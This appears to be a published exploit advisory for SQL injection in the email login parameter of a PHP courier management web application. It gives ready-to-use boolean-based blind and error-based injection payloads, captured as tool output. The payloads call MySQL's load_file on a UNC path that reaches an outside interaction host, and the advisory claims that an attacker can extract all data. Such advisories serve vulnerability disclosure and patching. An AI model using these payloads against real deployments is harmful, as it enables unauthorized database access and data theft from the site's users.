Courier Management System 2020-1.0 SQL Injection

## Titles: courier-management-system-2020-1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 08/12/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/14611/courier-management-system-using-phpmysqli-source-code.html#comment-105424## Reference: https://portswigger.net/web-security/sql-injection## Description:The email parameter appears to be vulnerable to SQL injection attacks. Thepayload '+(select load_file('\\\\031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+' was submittedin the email parameter. This payload injects a SQL sub-query that callsMySQL's load_file function with a UNC file path that references a URL on anexternal domain. The application interacted with that domain, indicatingthat the injected SQL query was executed. The attacker can get allinformation from the system by using this vulnerability!STATUS: HIGH- Vulnerability[+]Exploits:- SQLi Multiple:```mysql---Parameter: email (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: [email protected]'+(select load_file('\\\\031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' OR NOT3092=3092 OR 'zgfp'='bQHN&password=d6I!n9y!D7    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUPBY clause (FLOOR)    Payload: [email protected]'+(select load_file('\\\\031mhwgyu0ue8s63z9x3wjzn4ea7yymppdh07ow.oastify.com\\qpq'))+'' AND (SELECT8802 FROM(SELECT COUNT(*),CONCAT(0x71716b7871,(SELECT(ELT(8802=8802,1))),0x7162706a71,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'dmho'='XBTr&password=d6I!n9y!D7---```## Reproduce:[href](https://www.patreon.com/posts/courier-system-1-109943338)## More:[href](https://www.nu11secur1ty.com/2024/08/courier-management-system-2020-10.html)## Time spent:01:00:00